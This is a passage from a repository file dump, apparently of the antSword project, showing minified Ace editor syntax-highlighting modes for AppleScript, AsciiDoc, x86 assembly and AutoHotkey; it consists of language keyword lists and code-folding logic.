(disks|folder)|mount volume|path to|(close|open for) access|(get|set) eof|current date|do shell script|get volume settings|random number|set volume|system attribute|system info|time to GMT|(load|run|store) script|scripting components|ASCII (character|number)|localized string|choose (application|color|file|file name|folder|from list|remote application|URL)|display (alert|dialog))\\\\b|^\\\\s*return\\\\b\"},{token:\"constant.language\",regex:\"\\\\b(text item delimiters|current application|missing value)\\\\b\"},{token:\"keyword\",regex:\"\\\\b(apart from|aside from|instead of|out of|greater than|isn't|(doesn't|does not) (equal|come before|come after|contain)|(greater|less) than( or equal)?|(starts?|ends|begins?) with|contained by|comes (before|after)|a (ref|reference))\\\\b\"},{token:i,regex:\"[a-zA-Z][a-zA-Z0-9_]*\\\\b\"}],comment:[{token:\"comment\",regex:\"\\\\*\\\\)\",next:\"start\"},{defaultToken:\"comment\"}]},this.normalizeRules()};r.inherits(s,i),t.AppleScriptHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/applescript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/tokenizer\",\"ace/mode/applescript_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"../tokenizer\").Tokenizer,o=e(\"./applescript_highlight_rules\").AppleScriptHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"(*\",end:\"*)\"},this.$id=\"ace/mode/applescript\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-asciidoc.js",
    "content": "ace.define(\"ace/mode/asciidoc_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){function t(e){var t=/\\w/.test(e)?\"\\\\b\":\"(?:\\\\B|^)\";return t+e+\"[^\"+e+\"].*?\"+e+\"(?![\\\\w*])\"}var e=\"[a-zA-Z\\u00a1-\\uffff]+\\\\b\";this.$rules={start:[{token:\"empty\",regex:/$/},{token:\"literal\",regex:/^\\.{4,}\\s*$/,next:\"listingBlock\"},{token:\"literal\",regex:/^-{4,}\\s*$/,next:\"literalBlock\"},{token:\"string\",regex:/^\\+{4,}\\s*$/,next:\"passthroughBlock\"},{token:\"keyword\",regex:/^={4,}\\s*$/},{token:\"text\",regex:/^\\s*$/},{token:\"empty\",regex:\"\",next:\"dissallowDelimitedBlock\"}],dissallowDelimitedBlock:[{include:\"paragraphEnd\"},{token:\"comment\",regex:\"^//.+$\"},{token:\"keyword\",regex:\"^(?:NOTE|TIP|IMPORTANT|WARNING|CAUTION):\"},{include:\"listStart\"},{token:\"literal\",regex:/^\\s+.+$/,next:\"indentedBlock\"},{token:\"empty\",regex:\"\",next:\"text\"}],paragraphEnd:[{token:\"doc.comment\",regex:/^\\/{4,}\\s*$/,next:\"commentBlock\"},{token:\"tableBlock\",regex:/^\\s*[|!]=+\\s*$/,next:\"tableBlock\"},{token:\"keyword\",regex:/^(?:--|''')\\s*$/,next:\"start\"},{token:\"option\",regex:/^\\[.*\\]\\s*$/,next:\"start\"},{token:\"pageBreak\",regex:/^>{3,}$/,next:\"start\"},{token:\"literal\",regex:/^\\.{4,}\\s*$/,next:\"listingBlock\"},{token:\"titleUnderline\",regex:/^(?:={2,}|-{2,}|~{2,}|\\^{2,}|\\+{2,})\\s*$/,next:\"start\"},{token:\"singleLineTitle\",regex:/^={1,5}\\s+\\S.*$/,next:\"start\"},{token:\"otherBlock\",regex:/^(?:\\*{2,}|_{2,})\\s*$/,next:\"start\"},{token:\"optionalTitle\",regex:/^\\.[^.\\s].+$/,next:\"start\"}],listStart:[{token:\"keyword\",regex:/^\\s*(?:\\d+\\.|[a-zA-Z]\\.|[ixvmIXVM]+\\)|\\*{1,5}|-|\\.{1,5})\\s/,next:\"listText\"},{token:\"meta.tag\",regex:/^.+(?::{2,4}|;;)(?: |$)/,next:\"listText\"},{token:\"support.function.list.callout\",regex:/^(?:<\\d+>|\\d+>|>) /,next:\"text\"},{token:\"keyword\",regex:/^\\+\\s*$/,next:\"start\"}],text:[{token:[\"link\",\"variable.language\"],regex:/((?:https?:\\/\\/|ftp:\\/\\/|file:\\/\\/|mailto:|callto:)[^\\s\\[]+)(\\[.*?\\])/},{token:\"link\",regex:/(?:https?:\\/\\/|ftp:\\/\\/|file:\\/\\/|mailto:|callto:)[^\\s\\[]+/},{token:\"link\",regex:/\\b[\\w\\.\\/\\-]+@[\\w\\.\\/\\-]+\\b/},{include:\"macros\"},{include:\"paragraphEnd\"},{token:\"literal\",regex:/\\+{3,}/,next:\"smallPassthrough\"},{token:\"escape\",regex:/\\((?:C|TM|R)\\)|\\.{3}|->|<-|=>|<=|&#(?:\\d+|x[a-fA-F\\d]+);|(?: |^)--(?=\\s+\\S)/},{token:\"escape\",regex:/\\\\[_*'`+#]|\\\\{2}[_*'`+#]{2}/},{token:\"keyword\",regex:/\\s\\+$/},{token:\"text\",regex:e},{token:[\"keyword\",\"string\",\"keyword\"],regex:/(<<[\\w\\d\\-$]+,)(.*?)(>>|$)/},{token:\"keyword\",regex:/<<[\\w\\d\\-$]+,?|>>/},{token:\"constant.character\",regex:/\\({2,3}.*?\\){2,3}/},{token:\"keyword\",regex:/\\[\\[.+?\\]\\]/},{token:\"support\",regex:/^\\[{3}[\\w\\d =\\-]+\\]{3}/},{include:\"quotes\"},{token:\"empty\",regex:/^\\s*$/,next:\"start\"}],listText:[{include:\"listStart\"},{include:\"text\"}],indentedBlock:[{token:\"literal\",regex:/^[\\s\\w].+$/,next:\"indentedBlock\"},{token:\"literal\",regex:\"\",next:\"start\"}],listingBlock:[{token:\"literal\",regex:/^\\.{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"constant.numeric\",regex:\"<\\\\d+>\"},{token:\"literal\",regex:\"[^<]+\"},{token:\"literal\",regex:\"<\"}],literalBlock:[{token:\"literal\",regex:/^-{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"constant.numeric\",regex:\"<\\\\d+>\"},{token:\"literal\",regex:\"[^<]+\"},{token:\"literal\",regex:\"<\"}],passthroughBlock:[{token:\"literal\",regex:/^\\+{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"literal\",regex:e+\"|\\\\d+\"},{include:\"macros\"},{token:\"literal\",regex:\".\"}],smallPassthrough:[{token:\"literal\",regex:/[+]{3,}/,next:\"dissallowDelimitedBlock\"},{token:\"literal\",regex:/^\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"literal\",regex:e+\"|\\\\d+\"},{include:\"macros\"}],commentBlock:[{token:\"doc.comment\",regex:/^\\/{4,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"doc.comment\",regex:\"^.*$\"}],tableBlock:[{token:\"tableBlock\",regex:/^\\s*\\|={3,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"tableBlock\",regex:/^\\s*!={3,}\\s*$/,next:\"innerTableBlock\"},{token:\"tableBlock\",regex:/\\|/},{include:\"text\",noEscape:!0}],innerTableBlock:[{token:\"tableBlock\",regex:/^\\s*!={3,}\\s*$/,next:\"tableBlock\"},{token:\"tableBlock\",regex:/^\\s*|={3,}\\s*$/,next:\"dissallowDelimitedBlock\"},{token:\"tableBlock\",regex:/\\!/}],macros:[{token:\"macro\",regex:/{[\\w\\-$]+}/},{token:[\"text\",\"string\",\"text\",\"constant.character\",\"text\"],regex:/({)([\\w\\-$]+)(:)?(.+)?(})/},{token:[\"text\",\"markup.list.macro\",\"keyword\",\"string\"],regex:/(\\w+)(footnote(?:ref)?::?)([^\\s\\[]+)?(\\[.*?\\])?/},{token:[\"markup.list.macro\",\"keyword\",\"string\"],regex:/([a-zA-Z\\-][\\w\\.\\/\\-]*::?)([^\\s\\[]+)(\\[.*?\\])?/},{token:[\"markup.list.macro\",\"keyword\"],regex:/([a-zA-Z\\-][\\w\\.\\/\\-]+::?)(\\[.*?\\])/},{token:\"keyword\",regex:/^:.+?:(?= |$)/}],quotes:[{token:\"string.italic\",regex:/__[^_\\s].*?__/},{token:\"string.italic\",regex:t(\"_\")},{token:\"keyword.bold\",regex:/\\*\\*[^*\\s].*?\\*\\*/},{token:\"keyword.bold\",regex:t(\"\\\\*\")},{token:\"literal\",regex:t(\"\\\\+\")},{token:\"literal\",regex:/\\+\\+[^+\\s].*?\\+\\+/},{token:\"literal\",regex:/\\$\\$.+?\\$\\$/},{token:\"literal\",regex:t(\"`\")},{token:\"keyword\",regex:t(\"^\")},{token:\"keyword\",regex:t(\"~\")},{token:\"keyword\",regex:/##?/},{token:\"keyword\",regex:/(?:\\B|^)``|\\b''/}]};var n={macro:\"constant.character\",tableBlock:\"doc.comment\",titleUnderline:\"markup.heading\",singleLineTitle:\"markup.heading\",pageBreak:\"string\",option:\"string.regexp\",otherBlock:\"markup.list\",literal:\"support.function\",optionalTitle:\"constant.numeric\",escape:\"constant.language.escape\",link:\"markup.underline.list\"};for(var r in this.$rules){var i=this.$rules[r];for(var s=i.length;s--;){var o=i[s];if(o.include||typeof o==\"string\"){var u=[s,1].concat(this.$rules[o.include||o]);o.noEscape&&(u=u.filter(function(e){return!e.next})),i.splice.apply(i,u)}else o.token in n&&(o.token=n[o.token])}}};r.inherits(s,i),t.AsciidocHighlightRules=s}),ace.define(\"ace/mode/folding/asciidoc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.foldingStartMarker=/^(?:\\|={10,}|[\\.\\/=\\-~^+]{4,}\\s*$|={1,5} )/,this.singleLineHeadingRe=/^={1,5}(?=\\s+\\S)/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);return this.foldingStartMarker.test(r)?r[0]==\"=\"?this.singleLineHeadingRe.test(r)?\"start\":e.getLine(n-1).length!=e.getLine(n).length?\"\":\"start\":e.bgTokenizer.getState(n)==\"dissallowDelimitedBlock\"?\"end\":\"start\":\"\"},this.getFoldWidgetRange=function(e,t,n){function l(t){return f=e.getTokens(t)[0],f&&f.type}function d(){var t=f.value.match(p);if(t)return t[0].length;var r=c.indexOf(f.value[0])+1;return r==1&&e.getLine(n-1).length!=e.getLine(n).length?Infinity:r}var r=e.getLine(n),i=r.length,o=e.getLength(),u=n,a=n;if(!r.match(this.foldingStartMarker))return;var f,c=[\"=\",\"-\",\"~\",\"^\",\"+\"],h=\"markup.heading\",p=this.singleLineHeadingRe;if(l(n)==h){var v=d();while(++n<o){if(l(n)!=h)continue;var m=d();if(m<=v)break}var g=f&&f.value.match(this.singleLineHeadingRe);a=g?n-1:n-2;if(a>u)while(a>u&&(!l(a)||f.value[0]==\"[\"))a--;if(a>u){var y=e.getLine(a).length;return new s(u,i,a,y)}}else{var b=e.bgTokenizer.getState(n);if(b==\"dissallowDelimitedBlock\"){while(n-->0)if(e.bgTokenizer.getState(n).lastIndexOf(\"Block\")==-1)break;a=n+1;if(a<u){var y=e.getLine(n).length;return new s(a,5,u,i-5)}}else{while(++n<o)if(e.bgTokenizer.getState(n)==\"dissallowDelimitedBlock\")break;a=n;if(a>u){var y=e.getLine(n).length;return new s(u,5,a,y-5)}}}}}.call(o.prototype)}),ace.define(\"ace/mode/asciidoc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/asciidoc_highlight_rules\",\"ace/mode/folding/asciidoc\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./asciidoc_highlight_rules\").AsciidocHighlightRules,o=e(\"./folding/asciidoc\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.type=\"text\",this.getNextLineIndent=function(e,t,n){if(e==\"listblock\"){var r=/^((?:.+)?)([-+*][ ]+)/.exec(t);return r?(new Array(r[1].length+1)).join(\" \")+r[2]:\"\"}return this.$getIndent(t)},this.$id=\"ace/mode/asciidoc\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-assembly_x86.js",
    "content": "ace.define(\"ace/mode/assembly_x86_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"keyword.control.assembly\",regex:\"\\\\b(?:aaa|aad|aam|aas|adc|add|addpd|addps|addsd|addss|addsubpd|addsubps|aesdec|aesdeclast|aesenc|aesenclast|aesimc|aeskeygenassist|and|andpd|andps|andnpd|andnps|arpl|blendpd|blendps|blendvpd|blendvps|bound|bsf|bsr|bswap|bt|btc|btr|bts|cbw|cwde|cdqe|clc|cld|cflush|clts|cmc|cmov(?:n?e|ge?|ae?|le?|be?|n?o|n?z)|cmp|cmppd|cmpps|cmps|cnpsb|cmpsw|cmpsd|cmpsq|cmpss|cmpxchg|cmpxchg8b|cmpxchg16b|comisd|comiss|cpuid|crc32|cvtdq2pd|cvtdq2ps|cvtpd2dq|cvtpd2pi|cvtpd2ps|cvtpi2pd|cvtpi2ps|cvtps2dq|cvtps2pd|cvtps2pi|cvtsd2si|cvtsd2ss|cvts2sd|cvtsi2ss|cvtss2sd|cvtss2si|cvttpd2dq|cvtpd2pi|cvttps2dq|cvttps2pi|cvttps2dq|cvttps2pi|cvttsd2si|cvttss2si|cwd|cdq|cqo|daa|das|dec|div|divpd|divps|divsd|divss|dppd|dpps|emms|enter|extractps|f2xm1|fabs|fadd|faddp|fiadd|fbld|fbstp|fchs|fclex|fnclex|fcmov(?:n?e|ge?|ae?|le?|be?|n?o|n?z)|fcom|fcmop|fcompp|fcomi|fcomip|fucomi|fucomip|fcos|fdecstp|fdiv|fdivp|fidiv|fdivr|fdivrp|fidivr|ffree|ficom|ficomp|fild|fincstp|finit|fnint|fist|fistp|fisttp|fld|fld1|fldl2t|fldl2e|fldpi|fldlg2|fldln2|fldz|fldcw|fldenv|fmul|fmulp|fimul|fnop|fpatan|fprem|fprem1|fptan|frndint|frstor|fsave|fnsave|fscale|fsin|fsincos|fsqrt|fst|fstp|fstcw|fnstcw|fstenv|fnstenv|fsts|fnstsw|fsub|fsubp|fisub|fsubr|fsubrp|fisubr|ftst|fucom|fucomp|fucompp|fxam|fxch|fxrstor|fxsave|fxtract|fyl2x|fyl2xp1|haddpd|haddps|husbpd|hsubps|idiv|imul|in|inc|ins|insb|insw|insd|insertps|int|into|invd|invplg|invpcid|iret|iretd|iretq|lahf|lar|lddqu|ldmxcsr|lds|les|lfs|lgs|lss|lea|leave|lfence|lgdt|lidt|llgdt|lmsw|lock|lods|lodsb|lodsw|lodsd|lodsq|lsl|ltr|maskmovdqu|maskmovq|maxpd|maxps|maxsd|maxss|mfence|minpd|minps|minsd|minss|monitor|mov|movapd|movaps|movbe|movd|movq|movddup|movdqa|movdqu|movq2q|movhlps|movhpd|movhps|movlhps|movlpd|movlps|movmskpd|movmskps|movntdqa|movntdq|movnti|movntpd|movntps|movntq|movq|movq2dq|movs|movsb|movsw|movsd|movsq|movsd|movshdup|movsldup|movss|movsx|movsxd|movupd|movups|movzx|mpsadbw|mul|mulpd|mulps|mulsd|mulss|mwait|neg|not|or|orpd|orps|out|outs|outsb|outsw|outsd|pabsb|pabsw|pabsd|packsswb|packssdw|packusdw|packuswbpaddb|paddw|paddd|paddq|paddsb|paddsw|paddusb|paddusw|palignr|pand|pandn|pause|pavgb|pavgw|pblendvb|pblendw|pclmulqdq|pcmpeqb|pcmpeqw|pcmpeqd|pcmpeqq|pcmpestri|pcmpestrm|pcmptb|pcmptgw|pcmpgtd|pcmpgtq|pcmpistri|pcmpisrm|pextrb|pextrd|pextrq|pextrw|phaddw|phaddd|phaddsw|phinposuw|phsubw|phsubd|phsubsw|pinsrb|pinsrd|pinsrq|pinsrw|pmaddubsw|pmadddwd|pmaxsb|pmaxsd|pmaxsw|pmaxsw|pmaxub|pmaxud|pmaxuw|pminsb|pminsd|pminsw|pminub|pminud|pminuw|pmovmskb|pmovsx|pmovzx|pmuldq|pmulhrsw|pmulhuw|pmulhw|pmulld|pmullw|pmuludw|pop|popa|popad|popcnt|popf|popfd|popfq|por|prefetch|psadbw|pshufb|pshufd|pshufhw|pshuflw|pshufw|psignb|psignw|psignd|pslldq|psllw|pslld|psllq|psraw|psrad|psrldq|psrlw|psrld|psrlq|psubb|psubw|psubd|psubq|psubsb|psubsw|psubusb|psubusw|test|ptest|punpckhbw|punpckhwd|punpckhdq|punpckhddq|punpcklbw|punpcklwd|punpckldq|punpckldqd|push|pusha|pushad|pushf|pushfd|pxor|prcl|rcr|rol|ror|rcpps|rcpss|rdfsbase|rdgsbase|rdmsr|rdpmc|rdrand|rdtsc|rdtscp|rep|repe|repz|repne|repnz|roundpd|roundps|roundsd|roundss|rsm|rsqrps|rsqrtss|sahf|sal|sar|shl|shr|sbb|scas|scasb|scasw|scasd|set(?:n?e|ge?|ae?|le?|be?|n?o|n?z)|sfence|sgdt|shld|shrd|shufpd|shufps|sidt|sldt|smsw|sqrtpd|sqrtps|sqrtsd|sqrtss|stc|std|stmxcsr|stos|stosb|stosw|stosd|stosq|str|sub|subpd|subps|subsd|subss|swapgs|syscall|sysenter|sysexit|sysret|teset|ucomisd|ucomiss|ud2|unpckhpd|unpckhps|unpcklpd|unpcklps|vbroadcast|vcvtph2ps|vcvtp2sph|verr|verw|vextractf128|vinsertf128|vmaskmov|vpermilpd|vpermilps|vperm2f128|vtestpd|vtestps|vzeroall|vzeroupper|wait|fwait|wbinvd|wrfsbase|wrgsbase|wrmsr|xadd|xchg|xgetbv|xlat|xlatb|xor|xorpd|xorps|xrstor|xsave|xsaveopt|xsetbv|lzcnt|extrq|insertq|movntsd|movntss|vfmaddpd|vfmaddps|vfmaddsd|vfmaddss|vfmaddsubbpd|vfmaddsubps|vfmsubaddpd|vfmsubaddps|vfmsubpd|vfmsubps|vfmsubsd|vfnmaddpd|vfnmaddps|vfnmaddsd|vfnmaddss|vfnmsubpd|vfnmusbps|vfnmusbsd|vfnmusbss|cvt|xor|cli|sti|hlt|nop|lock|wait|enter|leave|ret|loop(?:n?e|n?z)?|call|j(?:mp|n?e|ge?|ae?|le?|be?|n?o|n?z))\\\\b\",caseInsensitive:!0},{token:\"variable.parameter.register.assembly\",regex:\"\\\\b(?:CS|DS|ES|FS|GS|SS|RAX|EAX|RBX|EBX|RCX|ECX|RDX|EDX|RCX|RIP|EIP|IP|RSP|ESP|SP|RSI|ESI|SI|RDI|EDI|DI|RFLAGS|EFLAGS|FLAGS|R8-15|(?:Y|X)MM(?:[0-9]|10|11|12|13|14|15)|(?:A|B|C|D)(?:X|H|L)|CR(?:[0-4]|DR(?:[0-7]|TR6|TR7|EFER)))\\\\b\",caseInsensitive:!0},{token:\"constant.character.decimal.assembly\",regex:\"\\\\b[0-9]+\\\\b\"},{token:\"constant.character.hexadecimal.assembly\",regex:\"\\\\b0x[A-F0-9]+\\\\b\",caseInsensitive:!0},{token:\"constant.character.hexadecimal.assembly\",regex:\"\\\\b[A-F0-9]+h\\\\b\",caseInsensitive:!0},{token:\"string.assembly\",regex:/'([^\\\\']|\\\\.)*'/},{token:\"string.assembly\",regex:/\"([^\\\\\"]|\\\\.)*\"/},{token:\"support.function.directive.assembly\",regex:\"^\\\\[\",push:[{token:\"support.function.directive.assembly\",regex:\"\\\\]$\",next:\"pop\"},{defaultToken:\"support.function.directive.assembly\"}]},{token:[\"support.function.directive.assembly\",\"support.function.directive.assembly\",\"entity.name.function.assembly\"],regex:\"(^struc)( )([_a-zA-Z][_a-zA-Z0-9]*)\"},{token:\"support.function.directive.assembly\",regex:\"^endstruc\\\\b\"},{token:[\"support.function.directive.assembly\",\"entity.name.function.assembly\",\"support.function.directive.assembly\",\"constant.character.assembly\"],regex:\"^(%macro )([_a-zA-Z][_a-zA-Z0-9]*)( )([0-9]+)\"},{token:\"support.function.directive.assembly\",regex:\"^%endmacro\"},{token:[\"text\",\"support.function.directive.assembly\",\"text\",\"entity.name.function.assembly\"],regex:\"(\\\\s*)(%define|%xdefine|%idefine|%undef|%assign|%defstr|%strcat|%strlen|%substr|%00|%0|%rotate|%rep|%endrep|%include|\\\\$\\\\$|\\\\$|%unmacro|%if|%elif|%else|%endif|%(?:el)?ifdef|%(?:el)?ifmacro|%(?:el)?ifctx|%(?:el)?ifidn|%(?:el)?ifidni|%(?:el)?ifid|%(?:el)?ifnum|%(?:el)?ifstr|%(?:el)?iftoken|%(?:el)?ifempty|%(?:el)?ifenv|%pathsearch|%depend|%use|%push|%pop|%repl|%arg|%stacksize|%local|%error|%warning|%fatal|%line|%!|%comment|%endcomment|__NASM_VERSION_ID__|__NASM_VER__|__FILE__|__LINE__|__BITS__|__OUTPUT_FORMAT__|__DATE__|__TIME__|__DATE_NUM__|_TIME__NUM__|__UTC_DATE__|__UTC_TIME__|__UTC_DATE_NUM__|__UTC_TIME_NUM__|__POSIX_TIME__|__PASS__|ISTRUC|AT|IEND|BITS 16|BITS 32|BITS 64|USE16|USE32|__SECT__|ABSOLUTE|EXTERN|GLOBAL|COMMON|CPU|FLOAT)\\\\b( ?)((?:[_a-zA-Z][_a-zA-Z0-9]*)?)\",caseInsensitive:!0},{token:\"support.function.directive.assembly\",regex:\"\\\\b(?:d[bwdqtoy]|res[bwdqto]|equ|times|align|alignb|sectalign|section|ptr|byte|word|dword|qword|incbin)\\\\b\",caseInsensitive:!0},{token:\"entity.name.function.assembly\",regex:\"^\\\\s*%%[\\\\w.]+?:$\"},{token:\"entity.name.function.assembly\",regex:\"^\\\\s*%\\\\$[\\\\w.]+?:$\"},{token:\"entity.name.function.assembly\",regex:\"^[\\\\w.]+?:\"},{token:\"entity.name.function.assembly\",regex:\"^[\\\\w.]+?\\\\b\"},{token:\"comment.assembly\",regex:\";.*$\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"asm\"],name:\"Assembly x86\",scopeName:\"source.assembly\"},r.inherits(s,i),t.AssemblyX86HighlightRules=s}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/assembly_x86\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/assembly_x86_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./assembly_x86_highlight_rules\").AssemblyX86HighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.$id=\"ace/mode/assembly_x86\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-autohotkey.js",
    "content": "ace.define(\"ace/mode/autohotkey_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"And|ByRef|Case|Const|ContinueCase|ContinueLoop|Default|Dim|Do|Else|ElseIf|EndFunc|EndIf|EndSelect|EndSwitch|EndWith|Enum|Exit|ExitLoop|False|For|Func|Global|If|In|Local|Next|Not|Or|ReDim|Return|Select|Step|Switch|Then|To|True|Until|WEnd|While|With|Abs|ACos|AdlibDisable|AdlibEnable|Asc|AscW|ASin|Assign|ATan|AutoItSetOption|AutoItWinGetTitle|AutoItWinSetTitle|Beep|Binary|BinaryLen|BinaryMid|BinaryToString|BitAND|BitNOT|BitOR|BitRotate|BitShift|BitXOR|BlockInput|Break|Call|CDTray|Ceiling|Chr|ChrW|ClipGet|ClipPut|ConsoleRead|ConsoleWrite|ConsoleWriteError|ControlClick|ControlCommand|ControlDisable|ControlEnable|ControlFocus|ControlGetFocus|ControlGetHandle|ControlGetPos|ControlGetText|ControlHide|ControlListView|ControlMove|ControlSend|ControlSetText|ControlShow|ControlTreeView|Cos|Dec|DirCopy|DirCreate|DirGetSize|DirMove|DirRemove|DllCall|DllCallbackFree|DllCallbackGetPtr|DllCallbackRegister|DllClose|DllOpen|DllStructCreate|DllStructGetData|DllStructGetPtr|DllStructGetSize|DllStructSetData|DriveGetDrive|DriveGetFileSystem|DriveGetLabel|DriveGetSerial|DriveGetType|DriveMapAdd|DriveMapDel|DriveMapGet|DriveSetLabel|DriveSpaceFree|DriveSpaceTotal|DriveStatus|EnvGet|EnvSet|EnvUpdate|Eval|Execute|Exp|FileChangeDir|FileClose|FileCopy|FileCreateNTFSLink|FileCreateShortcut|FileDelete|FileExists|FileFindFirstFile|FileFindNextFile|FileGetAttrib|FileGetLongName|FileGetShortcut|FileGetShortName|FileGetSize|FileGetTime|FileGetVersion|FileInstall|FileMove|FileOpen|FileOpenDialog|FileRead|FileReadLine|FileRecycle|FileRecycleEmpty|FileSaveDialog|FileSelectFolder|FileSetAttrib|FileSetTime|FileWrite|FileWriteLine|Floor|FtpSetProxy|GUICreate|GUICtrlCreateAvi|GUICtrlCreateButton|GUICtrlCreateCheckbox|GUICtrlCreateCombo|GUICtrlCreateContextMenu|GUICtrlCreateDate|GUICtrlCr